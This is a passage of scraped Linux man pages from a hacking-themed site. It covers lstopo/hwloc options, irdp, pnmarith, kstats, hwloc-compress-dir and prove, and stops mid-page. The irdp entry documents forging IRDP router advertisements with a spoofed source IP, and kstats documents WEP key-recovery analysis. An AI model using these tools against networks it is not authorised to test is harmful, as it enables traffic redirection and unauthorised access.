Include objects disallowed by administrative limitations (implies –disallowed) and also change the set of allowed ones.

If local is given, only objects available to the current process are allowed (default behavior when loading from the native operating system backend). It may be useful if the topology was created by another process (with different administrative restrictions such as Linux Cgroups) and loaded here loaded from XML or synthetic. This case implies –thissystem.

If all, all objects are allowed.

If a bitmap is given as a hexadecimal string, it is used as the set of allowed PUs.

If a bitmap is given after prefix nodeset=, it is the set of allowed NUMA nodes.

–flags <flags>
Enforce topology flags. Flags may be given as numeric values or as a comma-separated list of flag names that are passed to hwloc_topology_set_flags(). Those names may be substrings of actual flag names as long as a single one matches, for instance disallowed,thissystem_allowed. The default is 8 (or import).

–merge
Do not show levels that do not have a hierarchical impact. This sets HWLOC_TYPE_FILTER_KEEP_STRUCTURE for all object types. This is identical to –filter all:structure.

–no-factorize –no-factorize=<type>
Never factorize identical objects in the graphical output.

If an object type is given, only factorizing of these objects is disabled. This only applies to normal CPU-side objects, it is independent from PCI collapsing.

–factorize –factorize=[<type>,]<N>[,<L>[,<F>]
Factorize identical children in the graphical output (enabled by default).

If <N> is specified (4 by default), factorizing only occurs when there are strictly more than N identical children. If <L> and <F> are specified, they set the numbers of first and last children to keep after factorizing.

If an object type is given, only factorizing of these objects is configured. This only applies to normal CPU-side object, it is independent from PCI collapsing.

–no-collapse
Do not collapse identical PCI devices. By default, identical sibling PCI devices (such as many virtual functions inside a single physical device) are collapsed.

–no-cpukinds
Do not show different kinds of CPUs in the graphical output. By default, when supported, different types of lines, thickness and bold font may be used to display PU boxes of different kinds.

–restrict <cpuset>
Restrict the topology to the given cpuset. This removes some PUs and their now-child-less parents.

Beware that restricting the PUs in a topology may change the logical indexes of many objects, including NUMA nodes.

–restrict nodeset=<nodeset>
Restrict the topology to the given nodeset. (unless –restrict-flags specifies something different). This removes some NUMA nodes and their now-child-less parents.

Beware that restricting the NUMA nodes in a topology may change the logical indexes of many objects, including PUs.

–restrict binding
Restrict the topology to the current process binding. This option requires the use of the actual current machine topology (or any other topology with –thissystem or with HWLOC_THISSYSTEM set to 1 in the environment).

Beware that restricting the topology may change the logical indexes of many objects, including PUs and NUMA nodes.

–restrict-flags <flags>
Enforce flags when restricting the topology. Flags may be given as numeric values or as a comma-separated list of flag names that are passed to hwloc_topology_restrict(). Those names may be substrings of actual flag names as long as a single one matches, for instance bynodeset,memless. The default is 0 (or none).

–no-io
Do not show any I/O device or bridge. This is identical to –filter io:none. By default, common devices (GPUs, NICs, block devices, …) and interesting bridges/switches are shown.

–no-bridges
Do not show any I/O bridge except hostbridges. This is identical to –filter bridge:none. By default, common devices (GPUs, NICs, block devices, …) and interesting bridges/switches are shown.

–whole-io
Show all I/O devices and bridges. This is identical to –filter io:all. By default, only common devices (GPUs, NICs, block devices, …) and interesting bridges/switches are shown.

–thissystem
Assume that the selected backend provides the topology for the system on which we are running. This is useful when loading a custom topology such as an XML file and using –restrict binding or –allow all.

–pid <pid>
Detect topology as seen by process <pid>, i.e. as if process <pid> did the discovery itself. Note that this can for instance change the set of allowed processors. Also show this process current CPU and Memory binding by marking the corresponding PUs and NUMA nodes (in Green in the graphical output, see the COLORS section below, or by appending (binding) to the verbose text output). If 0 is given as pid, the current binding for the lstopo process will be shown.

–ps –top
Show existing processes as misc objects in the output. To avoid uselessly cluttering the output, only processes that are restricted to some part of the machine are shown. On Linux, kernel threads are not shown. If many processes appear, the output may become hard to read anyway, making the hwloc-ps program more practical.

See –misc-from for a customizable variant using hwloc-ps.

–misc-from <file>
Add Misc objects as described in <file> containing entries such as:

name=myMisc1 cpuset=0x5

name=myMisc2 cpuset=0x7 subtype=myOptionalSubtype

This is useful for combining with hwloc-ps –lstopo-misc (see EXAMPLES below) because hwloc-ps is far more customizable than lstopo’s –top option.

–children-order <order>
Change the order of the different kinds of children with respect to their parent in the graphical output. <order> may be a comma-separated list of keywords among:

memory:above displays memory children above other children (and above the parent if it is a cache). PUs are therefore below their local NUMA nodes, like hwloc 1.x did.

io:right and misc:right place I/O or Misc children on the right of CPU children.

io:below and misc:below place I/O or Misc children below CPU children.

plain places everything not specified together with normal CPU children.

If only plain is specified, lstopo displays the topology in a basic manner that strictly matches the actual tree: Memory, I/O and Misc children are listed below their parent just like any other child. PUs are therefore on the side of their local NUMA nodes, below a common ancestor. This output may result in strange layouts since the size of Memory, CPU and I/O children may be very different, causing the placement algorithm to poorly arrange them in rows.

The default order is memory:above,io:right,misc:right which means Memory children are above CPU children while I/O and Misc are together on the right.

Up to hwloc 2.5, the default was rather to memory:above,plain.

Additionally, memory:above, io:right, io:below, misc:right and misc:below may be suffixed with :horiz, :vert or :rect to force the horizontal, vertical or rectangular layout of children inside these sections.

See also the GRAPHICAL OUTPUT and LAYOUT sections below.

–fontsize <size>
Set the size of text font in the graphical output.

The default is 10.

Boxes are scaled according to the text size. The LSTOPO_TEXT_XSCALE environment variable may be used to further scale the width of boxes (its default value is 1.0).

The –fontsize option is ignored in the ASCII backend.

–gridsize <size>
Set the margin between elements in the graphical output.

The default is 7. It was 10 prior to hwloc 2.1.

This option is ignored in the ASCII backend.

–linespacing <size>
Set the spacing between lines of text in the graphical output.

The default is 4.

The option was included in –gridsize prior to hwloc 2.1 (and its default was 10).

This option is ignored in the ASCII backend.

–thickness <size>
Set the thickness of lines and boxes in the graphical output.

The default is 1.

This option is ignored in the ASCII backend.

–horiz, –horiz=<type1,…>
Force a horizontal graphical layout instead of nearly 4/3 ratio in the graphical output. If a comma-separated list of object types is given, the layout only applies to the corresponding container objects. Ignored for bridges since their children are always vertically aligned.

–vert, –vert=<type1,…>
Force a vertical graphical layout instead of nearly 4/3 ratio in the graphical output. If a comma-separated list of object types is given, the layout only applies to the corresponding container objects.

–rect, –rect=<type1,…>
Force a rectangular graphical layout with nearly 4/3 ratio in the graphical output. If a comma-separated list of object types is given, the layout only applies to the corresponding container objects. Ignored for bridges since their children are always vertically aligned.

–no-text, –no-text=<type1,…>
Do not display any text in boxes in the graphical output. If a comma-separated list of object types is given, text is disabled for the corresponding objects. This is mostly useful for removing text from Group objects.

–text, –text=<type1,…>
Display text in boxes in the graphical output (default). If a comma-separated list of object types is given, text is reenabled for the corresponding objects (if it was previously disabled with –no-text).

–no-index, –no-index=<type1,…>
Do not show object indexes in the graphical output. If a comma-separated list of object types is given, indexes are disabled for the corresponding objects.

–index, –index=<type1,…>
Show object indexes in the graphical output (default). If a comma-separated list of object types is given, indexes are reenabled for the corresponding objects (if they were previously disabled with –no-index).

–no-attrs, –no-attrs=<type1,…>
Do not show object attributes (such as memory size, cache size, PCI bus ID, PCI link speed, etc.) in the graphical output. If a comma-separated list of object types is given, attributes are disabled for the corresponding objects.

–attrs, –attrs=<type1,…>
Show object attributes (such as memory size, cache size, PCI bus ID, PCI link speed, etc.) in the graphical output (default). If a comma-separated list of object types is given, attributes are reenabled for the corresponding objects (if they were previously disabled with –no-attrs).

–no-legend
Remove all text legend lines at the bottom of the graphical output.

–no-default-legend
Remove default text legend lines at the bottom of the graphical output. User-added legend lines with –append-legend or the “lstopoLegend” info are still displayed if any.

–append-legend <line>
Append the line of text to the bottom of the legend in the graphical output. If adding multiple lines, each line should be given separately by passing this option multiple times. Additional legend lines may also be specified inside the topology using the “lstopoLegend” info attributes on the topology root object.

–grey, –greyscale
Use greyscale instead of colors in the graphical output.

–palette <grey|greyscale|defaut|colors|white|none>
Change the color palette. Passing grey or greyscale is identical to passing –grey or –greyscale. Passing white or none uses white instead of colors for all box backgrounds. Passing default or colors reverts back to the default color palette.

–palette type=#rrggbb
Replace the color of the given box type with the given 3x8bit hexadecimal RGB combination (e.g. #ff0000 is red). Existing types are machine, group, package, group_in_package, die, core, pu, numanode, memories (box containing multiple memory children), cache, pcidev, osdev, bridge, and misc.

See also CUSTOM COLOR below for customizing individual objects.

–binding-color <none|#rrggbb>
Do not colorize PUs and NUMA nodes according to the binding in the graphical output. Or change the color to the given 3x8bit hexadecimal RGB combination (e.g. #ff0000 is red).

–disallowed-color <none|#rrggbb>
Do not colorize disallowed PUs and NUMA nodes in the graphical output. Or change the color to the given 3x8bit hexadecimal RGB combination (e.g. #00ff00 is green).

–top-color <none|#rrggbb>
Do not colorize task objects in the graphical output when –top is given. Or change the color to the given 3x8bit hexadecimal RGB combination (e.g. #0000ff is blue). This is actually applied to Misc objects of subtype Process or Thread.

–version
Report version and exit.

-h –help
Display help message and exit.

DESCRIPTION

lstopo and lstopo-no-graphics are capable of displaying a topological map of the system in a variety of different output formats. The only difference between lstopo and lstopo-no-graphics is that graphical outputs are only supported by lstopo, to reduce dependencies on external libraries. hwloc-ls is identical to lstopo-no-graphics.

The filename specified directly implies the output format that will be used; see the OUTPUT FORMATS section, below. Output formats that support color will indicate specific characteristics about individual CPUs by their color; see the COLORS section, below.

OUTPUT FORMATS

By default, if no output filename is specified, the output is sent to a graphical window if possible in the current environment (DISPLAY environment variable set on Unix, etc.). Otherwise, a text summary is displayed in the console. The console is also used when the program runs from a terminal and the output is redirected to a pipe or file. These default behaviors may be changed by passing –of console to force console mode or –of window for graphical window.

The filename on the command line usually determines the format of the output. There are a few filenames that indicate specific output formats and devices (e.g., a filename of “-” will output a text summary to stdout), but most filenames indicate the desired output format by their suffix (e.g., “topo.png” will output a PNG-format file).

The format of the output may also be changed with “–of”. For instance, “–of pdf” will generate a PDF-format file on the standard output, while “–of fig toto” will output a Xfig-format file named “toto”.

The list of currently supported formats is given below. Any of them may be used with “–of” or as a filename suffix.

default
Send the output to a window or to the console depending on the environment.

window
Send the output to a graphical window.

console
Send a text summary to stdout. Binding or unallowed processors are only annotated in this mode if verbose; see the COLORS section, below.

ascii
Output an ASCII art representation of the map (formerly called txt). If outputting to stdout and if colors are supported on the terminal, the output will be colorized.

tikz or tex
Output a LaTeX tikzpicture representation of the map that can be compiled with a LaTeX compiler.

fig
Output a representation of the map that can be loaded in Xfig.

svg
Output a SVG representation of the map, using Cairo (by default, if supported) or a native SVG backend (fallback, always supported). See cairosvg and nativesvg below.

cairosvg or svg(cairo)
If lstopo was compiled with the proper support, output a SVG representation of the map using Cairo.

nativesvg or svg(native)
Output a SVG representation of the map using the native SVG backend. It may be less pretty than the Cairo output, but it is always supported, and SVG objects have attributes for identifying and manipulating them. See dynamic_SVG_example.html for an example.

pdf
If lstopo was compiled with the proper support, lstopo outputs a PDF representation of the map.

ps
If lstopo was compiled with the proper support, lstopo outputs a Postscript representation of the map.

png
If lstopo was compiled with the proper support, lstopo outputs a PNG representation of the map.

synthetic
If the topology is symmetric (which requires that the root object has its symmetric_subtree field set), lstopo outputs a synthetic description string. This output may be reused as an input synthetic topology description later. See also the Synthetic topologies section in the documentation. Note that Misc and I/O devices are ignored during this export.

xml
lstopo outputs an XML representation of the map. It may be reused later, even on another machine, with lstopo –input, the HWLOC_XMLFILE environment variable, or the hwloc_topology_set_xml() function.

The following special names may be used:

-
Send a text summary to stdout.

/dev/stdout
Send a text summary to stdout. It is effectively the same as specifying “-”.

-.<format>
If the entire filename is “-.<format>”, lstopo behaves as if “–of <format> -” was given, which means a file of the given format is sent to the standard output.

See the output of “lstopo –help” for a specific list of what graphical output formats are supported in your hwloc installation.

GRAPHICAL OUTPUT

The graphical output is made of nested boxes representing the inclusion of objects in the hierarchy of resources. Usually a Machine box contains one or several Package boxes, that contain multiple Core boxes, with one or several PUs each.

Caches

Caches are displayed in a slightly different manner because they do not actually include computing resources such as cores. For instance, a L2 Cache shared by a pair of Cores is drawn as a Cache box on top of two Core boxes (instead of having Core boxes inside the Cache box).

NUMA nodes and Memory-side Caches

By default, NUMA nodes boxes are drawn on top of their local computing resources. For instance, a processor Package containing one NUMA node and four Cores is displayed as a Package box containing the NUMA node box above four Core boxes. If a NUMA node is local to the L3 Cache, the NUMA node is displayed above that Cache box. All this specific drawing strategy for memory objects may be disabled by passing command-line option –children-order plain.

If multiple NUMA nodes are attached to the same parent object, they are displayed inside an additional unnamed memory box.

If some Memory-side Caches exist in front of some NUMA nodes, they are drawn as boxes immediately above them.

PCI bridges, PCI devices and OS devices

The PCI hierarchy is not drawn as a set of included boxes but rather as a tree of bridges (that may actually be switches) with links between them. The tree starts with a small square on the left for the hostbridge or root complex. It ends with PCI device boxes on the right. Intermediate PCI bridges/switches may appear as additional small squares in the middle.

PCI devices on the right of the tree are boxes containing their PCI bus ID (such as 00:02.3). They may also contain sub-boxes for OS device objects such as a network interface eth0 or a CUDA GPU cuda0.

When there is a single link (horizontal line) on the right of a PCI bridge, it means that a single device or bridge is connected on the secondary PCI bus behind that bridge. When there is a vertical line, it means that multiple devices and/or bridges are connected to the same secondary PCI bus.

The datarate of a PCI link may be written (in GB/s) right below its drawn line (if the operating system and/or libraries are able to report that information). This datarate is the currently configured speed of the entire PCI link (sum of the bandwidth of all PCI lanes in that link). It may change during execution since some devices are able to slow their PCI links down when idle.

LAYOUT

In its graphical output, lstopo uses simple rectangular heuristics to try to achieve a 4/3 ratio between width and height. Although the hierarchy of resources is properly reflected, the exact physical organization (NUMA distances, rings, complete graphs, etc.) is currently ignored.

The layout of a level may be changed with –vert, –horiz, and –rect to force a parent object to arrange its children in vertical, horizontal or rectangular manners respectively.

The position of Memory, I/O and Misc children with respect to other children objects may be changed using –children-order. This effectivement divides children into multiple sections. The layout of children is first computed inside each section, before sections are placed inside (or below) the parent box.

The vertical/horizontal/rectangular layout of these additional sections may also be configured through –children-order.

COLORS

Individual CPUs and NUMA nodes are colored in the graphical output formats to indicate different characteristics:

Green
The topology is reported as seen by a specific process (see –pid), and the given CPU or NUMA node is in this process CPU or Memory binding mask.

White
The CPU or NUMA node is in the allowed set (see below). If the topology is reported as seen by a specific process (see –pid), the object is also not in this process binding mask.

Red
The CPU or NUMA node is not in the allowed set (see below).

The “allowed set” is the set of CPUs or NUMA nodes to which the current process is allowed to bind. The allowed set is usually either inherited from the parent process or set by administrative qpolicies on the system. Linux cpusets are one example of limiting the allowed set for a process and its children to be less than the full set of CPUs or NUMA nodes on the system.

Different processes may therefore have different CPUs or NUMA nodes in the allowed set. Hence, invoking lstopo in different contexts and/or as different users may display different colors for the same individual CPUs (e.g., running lstopo in one context may show a specific CPU as red, but running lstopo in a different context may show the same CPU as white).

Some lstopo output modes, e.g. the console mode (default non-graphical output), do not support colors at all. The console mode displays the above characteristics by appending text to each PU line if verbose messages are enabled.

CUSTOM COLORS

The colors of different kinds of boxes may be configured with –palette.

The color of each object in the graphical output may also be enforced by specifying a “lstopoStyle” info attribute in that object. Its value should be a semi-colon separated list of “<attribute>=#rrggbb” where rr, gg and bb are the RGB components of a color, each between 0 and 255, in hexadecimal (00 to ff). <attribute> may be

Background
Sets the background color of the main object box.

Text
Sets the color of the text showing the object name, type, index, etc.

Text2
Sets the color of the additional text near the object, for instance the link speed behind a PCI bridge.

The “lstopoStyle” info may be added to a temporarily-saved XML topologies with hwloc-annotate, or with hwloc_obj_add_info(). For instance, to display all core objects in blue (with white names):

lstopo save.xml hwloc-annotate save.xml save.xml core:all info lstopoStyle “Background=#0000ff;Text=#ffffff” lstopo -i save.xml

EXAMPLES

To display the machine topology in textual mode:

lstopo-no-graphics

To display the machine topology in ascii-art mode:

lstopo-no-graphics -.ascii

To display in graphical mode (assuming that the DISPLAY environment variable is set to a relevant value):

lstopo

To export the topology to a PNG file:

lstopo file.png

To export an XML file on a machine and later display the corresponding graphical output on another machine:

machine1$ lstopo file.xml <transfer file.xml from machine1 to machine2> machine2$ lstopo –input file.xml

To save the current machine topology to XML and later reload it faster while still considering it as the current machine:

$ lstopo file.xml <…> $ lstopo –input file.xml –thissystem

To restrict an XML topology to only physical processors 0, 1, 4 and 5:

lstopo –input file.xml –restrict 0x33 newfile.xml

To restrict an XML topology to only numa node whose logical index is 1:

lstopo –input file.xml –restrict $(hwloc-calc –input file.xml node:1) newfile.xml

To display a summary of the topology:

lstopo -s

To get more details about the topology:

lstopo -v

To only show cores:

lstopo –only core

To show cpusets:

lstopo –cpuset

To only show the cpusets of package:

lstopo –only package –cpuset-only

Simulate a fake hierarchy; this example shows with 2 NUMA nodes of 2 processor units:

lstopo –input “node:2 2”

To count the number of logical processors in the system

lstopo –only pu | wc -l

To append the kernel release and version to the graphical legend:

lstopo –append-legend “Kernel release: $(uname -r)” –append-legend “Kernel version: $(uname -v)”

To show where a process and its children are bound by combining with hwloc-ps:

hwloc-ps –pid-children 23 –lstopo-misc - | lstopo –misc-from -

NOTES

lstopo displays memory and cache sizes with units such as kB (1 kilobyte = 1000 bytes) or GB (1 gigabyte = 1000*1000*1000 bytes) while it actually means KiB (1 kibibyte = 1024 bytes) or GiB (1 gibibytes = 1024*1024*1024 bytes) .

SEE ALSO

hwloc(7), hwloc-info(1), hwloc-bind(1), hwloc-annotate(1), hwloc-ps(1), hwloc-gather-topology(1), hwloc-gather-cpuid(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1258 - Linux cli command irdp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command irdp and provides detailed information about the command irdp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the irdp.

NAME 🖥️ irdp 🖥️

irdp packet sender

DESCRIPTION

This manual page documents briefly the irdp command. This manual page was written for the Debian distribution because the original program does not have a manual page.

This tool sends out IRDP responses. Nothing else ;)

Usage:

-i <interface> interface

-p <preference> preference of this entry, default is 0

-l <lifetime> lifetime of the entry, default: 1800

-S <spoofed source IP> maybe you need this

-D <destination IP> If you don’t specify this, the broadcast address is used

AUTHOR

This manual page was written by Vince Mulhollon <[email protected]>, for the Debian GNU/Linux system (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1259 - Linux cli command pnmarith

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmarith and provides detailed information about the command pnmarith, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmarith.

.

NAME 🖥️ pnmarith 🖥️

replaced by pamarith

DESCRIPTION

This program is part of Netpbm(1) .

Starting with Netpbm 10.3, pnmarith is obsolete. Use pamarith(1) instead.

pamarith is backward compatible with pnmarith except where your input images have different depths. pnmarith would convert the one with the lesser depth to have the higher depth before doing the arithmetic. With pamarith, you must do that step separately, using pgmtoppm.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmarith.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1260 - Linux cli command kstats

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command kstats and provides detailed information about the command kstats, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the kstats.

NAME 🖥️ kstats 🖥️

show statistical FMS algorithm votes for an ivs dump and a specified WEP key

SYNOPSIS

kstats <ivs file> <104-bit key>

DESCRIPTION

kstats is a tool designed to show the FMS algorithm votes for an ivs dump (initialization vectors) with a specified WEP key. The ivs dump can be get by using the combination of both airodump(1) and ivstools(1).

EXAMPLE

kstats kstats out.ivs 123456789ABCDEF123456789AB

AUTHOR

This manual page was written by Adam Cecile <[email protected]> for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.

SEE ALSO

airbase-ng(8)
aireplay-ng(8)
airmon-ng(8)
airodump-ng(8)
airodump-ng-oui-update(8)
airserv-ng(8)
airtun-ng(8)
besside-ng(8)
easside-ng(8)
tkiptun-ng(8)
wesside-ng(8)
aircrack-ng(1)
airdecap-ng(1)
airdecloak-ng(1)
airolib-ng(1)
besside-ng-crawler(1)
buddy-ng(1)
ivstools(1)
makeivs-ng(1)
packetforge-ng(1)
wpaclean(1)
airventriloquist(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1261 - Linux cli command hwloc-compress-dir

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hwloc-compress-dir and provides detailed information about the command hwloc-compress-dir, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hwloc-compress-dir.

NAME 🖥️ hwloc-compress-dir 🖥️

compress-dir - Compress a directory of XML topologies

SYNOPSIS

hwloc-compress-dir [options] <inputdir> <outputdir>

OPTIONS

-R –reverse
Uncompress a previously compressed directory.

-v –verbose
Display verbose messages.

–version
Report version and exit.

-h –help
Display help message and exit.

DESCRIPTION

hwloc-compress-dir takes an input directory containing XML exports and tries to compress it by computing topology diffs between them (with the hwloc-diff program). Each file is copied in the output directory either as a diff if it could be compressed, or as its original entire file otherwise.

hwloc-compress-dir may recompress a directory that was previously compressed. All input files that are already in the output directory, either compressed or not, are ignored. New input files are compressed as much as possible as usual.

For each file of the directory, the output filename is the same as the original if not compressed, otherwise its extension is changed to .diff.xml.

Compressed files are based on another non-compressed topology. Its name is stored in the refname topology diff attribute.

The generated output diff files may be used with hwloc-patch just like any file generated by hwloc-diff.

EXAMPLES

To compress the input files from directory in into directory out:

$ hwloc-compress-dir in out

RETURN VALUE

Upon successful execution, hwloc-compress-dir returns 0.

hwloc-compress-dir will return nonzero if any kind of error occurs, such as (but not limited to) failure to parse the command line.

SEE ALSO

hwloc(7), lstopo(1), hwloc-diff(1), hwloc-patch(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1262 - Linux cli command prove

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command prove and provides detailed information about the command prove, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the prove.

NAME 🖥️ prove 🖥️

Run tests through a TAP harness.

USAGE

prove [options] [files or directories]

OPTIONS

Boolean options:

-v, –verbose Print all test lines. -l, –lib Add lib to the path for your tests (-Ilib). -b, –blib Add blib/lib and blib/arch to the path for your tests -s, –shuffle Run the tests in random order. -c, –color Colored test output (default). –nocolor Do not color test output. –count Show the X/Y test count when not verbose (default) –nocount Disable the X/Y test count. -D –dry Dry run. Show test that would have run. -f, –failures Show failed tests. -o, –comments Show comments. –ignore-exit Ignore exit status from test scripts. -m, –merge Merge test scripts STDERR with their STDOUT. -r, –recurse Recursively descend into directories. –reverse Run the tests in reverse order. -q, –quiet Suppress some test output while running tests. -Q, –QUIET Only print summary results. -p, –parse Show full list of TAP parse errors, if any. –directives Only show results with TODO or SKIP directives. –timer Print elapsed time after each test. –trap Trap Ctrl-C and print summary on interrupt. –normalize Normalize TAP output in verbose output -T Enable tainting checks. -t Enable tainting warnings. -W Enable fatal warnings. -w Enable warnings. -h, –help Display this help -?, Display this help -V, –version Display the version -H, –man Longer manpage for prove –norc Dont process default .proverc

Options that take arguments:

-I Library paths to include. -P Load plugin (searches App::Prove::Plugin::*.) -M Load a module. -e, –exec Interpreter to run the tests ( for compiled tests.) –ext Set the extension for tests (default .t) –harness Define test harness to use. See TAP::Harness. –formatter Result formatter to use. See FORMATTERS. –source Load and/or configure a SourceHandler. See SOURCE HANDLERS. -a, –archive out.tgz Store the resulting TAP in an archive file. -j, –jobs N Run N test jobs in parallel (try 9.) –state=opts Control proves persistent state. –statefile=file Use `file` instead of `.prove` for state –rc=rcfile Process options from rcfile –rules Rules for parallel vs sequential processing.

NOTES

.proverc

If ~/.proverc or ./.proverc exist they will be read and any options they contain processed before the command line options. Options in .proverc are specified in the same way as command line options:

# .proverc –state=hot,fast,save -j9

Additional option files may be specified with the --rc option. Default option file processing is disabled by the --norc option.

Under Windows and VMS the option file is named _proverc rather than .proverc and is sought only in the current directory.

Reading from “STDIN”

If you have a list of tests (or URLs, or anything else you want to test) in a file, you can add them to your tests by using a ‘-’:

prove - < my_list_of_things_to_test.txt

See the README in the examples directory of this distribution.

Default Test Directory

If no files or directories are supplied, prove looks for all files matching the pattern t/*.t.

Colored Test Output

Colored test output using TAP::Formatter::Color is the default, but if output is not to a terminal, color is disabled. You can override this by adding the --color switch.

Color support requires Term::ANSIColor and, on windows platforms, also Win32::Console::ANSI. If the necessary module(s) are not installed colored output will not be available.

Exit Code

If the tests fail prove will exit with non-zero status.

Arguments to Tests

It is possible to supply arguments to tests. To do so separate them from prove’s own arguments with the arisdottle, ‘::’. For example

prove -v t/mytest.t :: –url http://example.com

would run t/mytest.t with the options ‘–url http://example.com’. When running multiple tests they will each receive the same arguments.

“–exec”

Normally you can just pass a list of Perl tests and the harness will know how to execute them. However, if your tests are not written in Perl or if you want all tests invoked exactly the same way, use the -e, or --exec switch:

prove –exec /usr/bin/ruby -w t/ prove –exec /usr/bin/perl -Tw -mstrict -Ilib t/ prove –exec /path/to/my/customer/exec

“–merge”

